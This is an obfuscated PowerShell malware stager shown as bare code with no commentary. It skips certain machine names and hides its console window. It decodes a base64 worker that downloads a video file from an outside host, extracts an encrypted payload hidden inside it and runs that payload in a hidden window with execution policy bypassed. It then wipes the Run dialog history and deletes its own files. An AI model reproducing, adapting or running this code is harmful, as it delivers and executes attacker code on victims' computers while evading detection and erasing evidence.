<# #> $p7yEhqSSVxb = [string]::Concat('Comp','uter','Name') $S4qIcbGqiKm11 = [Environment]::GetEnvironmentVariable($p7yEhqSSVxb) $E8ZLEclPTl = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('KkNMRU4q')) if ($S4qIcbGqiKm11 -like $E8ZLEclPTl) { return } $__hc = @' using System; using System.Runtime.InteropServices; public class __HideConsole { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } '@ if (-not ('__HideConsole' -as [type])) { try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {} } if ('__HideConsole' -as [type]) { $__hwnd = [__HideConsole]::GetConsoleWindow() if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) } } $tj8bbJcSZH = Get-Random -Minimum 0 -Maximum 80 Start-Sleep -Milliseconds $tj8bbJcSZH $vMJ9N65f = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoX2EyZDFjMTFmNmQ1OA=='))) if (Test-Path $vMJ9N65f) { exit 0 } $__chB64 = 'JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJwpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbgppZiAoLW5vdCAoJ19fWDhkMWFmZDJiM2QnIC1hcyBbdHlwZV0pKSB7CkFkZC1UeXBlIC1SZWZlcmVuY2VkQXNzZW1ibGllcyBTeXN0ZW0uSU8uQ29tcHJlc3Npb24gQCcKdXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5JTy5Db21wcmVzc2lvbjsKdXNpbmcgU3lzdGVtLlRleHQ7CnB1YmxpYyBzdGF0aWMgY2xhc3MgX19YOGQxYWZkMmIzZCB7CiAgc3RhdGljIGludCBSZWFkSW50KGJ5dGVbXSBiLCBpbnQgbykgewogICAgcmV0dXJuICgoYltvXSAmIDB4RkYpIDw8IDI0KSB8ICgoYltvICsgMV0gJiAweEZGKSA8PCAxNikgfCAoKGJbbyArIDJdICYgMHhGRikgPDwgOCkgfCAoYltvICsgM10gJiAweEZGKTsKICB9CiAgc3RhdGljIHN0cmluZyBEZWNyeXB0QmxvYihieXRlW10gYmxvYikgewogICAgYnl0ZVtdIG1hZ2ljID0gbmV3IGJ5dGVbXSB7IDIzNCw0MCw4NCw4MyB9OwogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBtYWdpYy5MZW5ndGg7IGkrKykgaWYgKGJsb2JbaV0gIT0gbWFnaWNbaV0pIHRocm93IG5ldyBFeGNlcHRpb24oImJhZCBibG9iIik7CiAgICBpbnQga2V5TGVuID0gKGJsb2JbNF0gPDwgOCkgfCBibG9iWzVdOwogICAgaW50IG8gPSA2OwogICAgdmFyIGtleSA9IG5ldyBieXRlW2tleUxlbl07CiAgICBCdWZmZXIuQmxvY2tDb3B5KGJsb2IsIG8sIGtleSwgMCwga2V5TGVuKTsgbyArPSBrZXlMZW47CiAgICBpbnQgZGF0YUxlbiA9IFJlYWRJbnQoYmxvYiwgbyk7IG8gKz0gNDsKICAgIHZhciBlbmMgPSBuZXcgYnl0ZVtkYXRhTGVuXTsKICAgIEJ1ZmZlci5CbG9ja0NvcHkoYmxvYiwgbywgZW5jLCAwLCBkYXRhTGVuKTsKICAgIGZvciAoaW50IGkgPSAwOyBpIDwgZGF0YUxlbjsgaSsrKSBlbmNbaV0gXj0ga2V5W2kgJSBrZXlMZW5dOwogICAgdXNpbmcgKHZhciBjbXMgPSBuZXcgTWVtb3J5U3RyZWFtKGVuYykpCiAgICB1c2luZyAodmFyIGd6ID0gbmV3IEdaaXBTdHJlYW0oY21zLCBDb21wcmVzc2lvbk1vZGUuRGVjb21wcmVzcykpCiAgICB1c2luZyAodmFyIHNyID0gbmV3IFN0cmVhbVJlYWRlcihneiwgRW5jb2RpbmcuVVRGOCkpIHsKICAgICAgcmV0dXJuIHNyLlJlYWRUb0VuZCgpOwogICAgfQogIH0KICBzdGF0aWMgYnl0ZVtdIEZpbmRVdWlkUGF5bG9hZChieXRlW10gZGF0YSwgYnl0ZVtdIGlkKSB7CiAgICBpbnQgaSA9IDA7CiAgICB3aGlsZSAoaSArIDggPD0gZGF0YS5MZW5ndGgpIHsKICAgICAgaW50IHNpemUgPSBSZWFkSW50KGRhdGEsIGkpOwogICAgICBpZiAoc2l6ZSA8IDI0IHx8IGkgKyBzaXplID4gZGF0YS5MZW5ndGgpIHsgaSsrOyBjb250aW51ZTsgfQogICAgICBpZiAoZGF0YVtpICsgNF0gPT0gKGJ5dGUpJ3UnICYmIGRhdGFbaSArIDVdID09IChieXRlKSd1JyAmJiBkYXRhW2kgKyA2XSA9PSAoYnl0ZSknaScgJiYgZGF0YVtpICsgN10gPT0gKGJ5dGUpJ2QnKSB7CiAgICAgICAgYm9vbCBvayA9IHRydWU7CiAgICAgICAgZm9yIChpbnQgaiA9IDA7IGogPCAxNjsgaisrKSBpZiAoZGF0YVtpICsgOCArIGpdICE9IGlkW2pdKSB7IG9rID0gZmFsc2U7IGJyZWFrOyB9CiAgICAgICAgaWYgKG9rKSB7CiAgICAgICAgICB2YXIgcGF5bG9hZCA9IG5ldyBieXRlW3NpemUgLSAyNF07CiAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KGRhdGEsIGkgKyAyNCwgcGF5bG9hZCwgMCwgcGF5bG9hZC5MZW5ndGgpOwogICAgICAgICAgcmV0dXJuIHBheWxvYWQ7CiAgICAgICAgfQogICAgICB9CiAgICAgIGlmIChzaXplIDwgOCkgeyBpKys7IGNvbnRpbnVlOyB9CiAgICAgIGkgKz0gc2l6ZTsKICAgIH0KICAgIHRocm93IG5ldyBFeGNlcHRpb24oInV1aWQgYm94IG1pc3NpbmciKTsKICB9CiAgcHVibGljIHN0YXRpYyBzdHJpbmcgRnJvbUNhcnJpZXIoYnl0ZVtdIHJhdywgc3RyaW5nIGtleSwgYnl0ZVtdIHV1aWRJZCkgewogICAgaWYgKHV1aWRJZCAhPSBudWxsICYmIHV1aWRJZC5MZW5ndGggPT0gMTYpIHsKICAgICAgcmV0dXJuIERlY3J5cHRCbG9iKEZpbmRVdWlkUGF5bG9hZChyYXcsIHV1aWRJZCkpOwogICAgfQogICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigiYmFkIGNhcnJpZXIiKTsKICB9Cn0KJ0AgLUVycm9yQWN0aW9uIFN0b3AKfQokX19jaFV1aWQgPSBbYnl0ZVtdXSg1MSwxMjYsMTUsMTQzLDI0MCwxNjQsNzcsMTUwLDE3Niw4OSwxOTQsMTk5LDMxLDE4NCwyMjcsMTM4KQokX191cmwgPSAkKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdhSFIwY0hNNkx5OTNkM2N1ZEdGMlpYSnVZUzF2Y21GclpXd3VaR1V2TWpFdWJYQTAnKSkpCgp0cnkgeyBbTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW05ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyIH0gY2F0Y2gge30KJF9fcmF3Qnl0ZXMgPSAkbnVsbAp0cnkgewogICAgJF9fZGwgPSBbTmV0Lkh0dHAuSHR0cENsaWVudF06Om5ldygpCiAgICAkX19kbC5UaW1lb3V0ID0gW1RpbWVTcGFuXTo6RnJvbVNlY29uZHMoMTIwKQogICAgJF9fcmF3Qnl0ZXMgPSAkX19kbC5HZXRCeXRlQXJyYXlBc3luYygkX191cmwpLkdldEF3YWl0ZXIoKS5HZXRSZXN1bHQoKQogICAgJF9fZGwuRGlzcG9zZSgpCn0gY2F0Y2gge30KaWYgKC1ub3QgJF9fcmF3Qnl0ZXMgLW9yICRfX3Jhd0J5dGVzLkxlbmd0aCAtbHQgNjQpIHsKICAgIHRyeSB7CiAgICAgICAgJF9fd2MgPSBOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQKICAgICAgICAkX193Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KScpCiAgICAgICAgJF9fcmF3Qnl0ZXMgPSAkX193Yy5Eb3dubG9hZERhdGEoJF9fdXJsKQogICAgfSBjYXRjaCB7fQp9CgppZiAoLW5vdCAkX19yYXdCeXRlcyAtb3IgJF9fcmF3Qnl0ZXMuTGVuZ3RoIC1sdCA2NCkgewogICAgdHJ5IHsKICAgICAgICAkX19yZXNwID0gJigkKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdTVzUyYjJ0bExWZGxZbEpsY1hWbGMzUT0nKSkpKSAtVXJpICRfX3VybCAtVXNlQmFzaWNQYXJzaW5nIC1UaW1lb3V0U2VjIDEyMAogICAgICAgIGlmICgkX19yZXNwIC1hbmQgJF9fcmVzcC5SYXdDb250ZW50U3RyZWFtKSB7CiAgICAgICAgICAgICRfX3Jhd0J5dGVzID0gJF9fcmVzcC5SYXdDb250ZW50U3RyZWFtLlRvQXJyYXkoKQogICAgICAgIH0KICAgIH0gY2F0Y2gge30KfQppZiAoLW5vdCAkX19yYXdCeXRlcyAtb3IgJF9fcmF3Qnl0ZXMuTGVuZ3RoIC1sdCA2NCkgeyBleGl0IDEgfQoKJF9fcGF5bG9hZCA9IFtfX1g4ZDFhZmQyYjNkXTo6RnJvbUNhcnJpZXIoJF9fcmF3Qnl0ZXMsICJkYXRhIiwgJF9fY2hVdWlkKQokX19jaFBzMSA9IEpvaW4tUGF0aCAkZW52OlRFTVAgKFtndWlkXTo6TmV3R3VpZCgpLlRvU3RyaW5nKCdOJykgKyAnLnBzMScpCltJTy5GaWxlXTo6V3JpdGVBbGxUZXh0KCRfX2NoUHMxLCAkX19wYXlsb2FkLCAoTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5VVEY4RW5jb2RpbmcgJGZhbHNlKSkKU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJ3Bvd2Vyc2hlbGwuZXhlJyAtQXJndW1lbnRMaXN0IEAoJy1Ob1Byb2ZpbGUnLCctRXhlY3V0aW9uUG9saWN5JywnQnlwYXNzJywnLVdpbmRvd1N0eWxlJywnSGlkZGVuJywnLUZpbGUnLCRfX2NoUHMxKSAtV2luZG93U3R5bGUgSGlkZGVuIC1XYWl0CnRyeSB7IFJlbW92ZS1JdGVtIC1MaXRlcmFsUGF0aCAkX19jaFBzMSAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7fQp0cnkgewogICAgJHJ1bk1ydVBhdGggPSAnSEtDVTpcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cRXhwbG9yZXJcUnVuTVJVJwogICAgaWYgKFRlc3QtUGF0aCAkcnVuTXJ1UGF0aCkgewogICAgICAgIFJlbW92ZS1JdGVtUHJvcGVydHkgLVBhdGggJHJ1bk1ydVBhdGggLU5hbWUgKiAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgfQp9IGNhdGNoIHt9CnRyeSB7IFJlbW92ZS1JdGVtIC1MaXRlcmFsUGF0aCAkUFNDb21tYW5kUGF0aCAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7fQpleGl0Cg==' $__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64)) $__chPath = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.ps1') [IO.File]::WriteAllText($__chPath, $__chWorker, (New-Object System.Text.UTF8Encoding $false)) Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-WindowStyle','Hidden','-File',$__chPath) -WindowStyle Hidden exit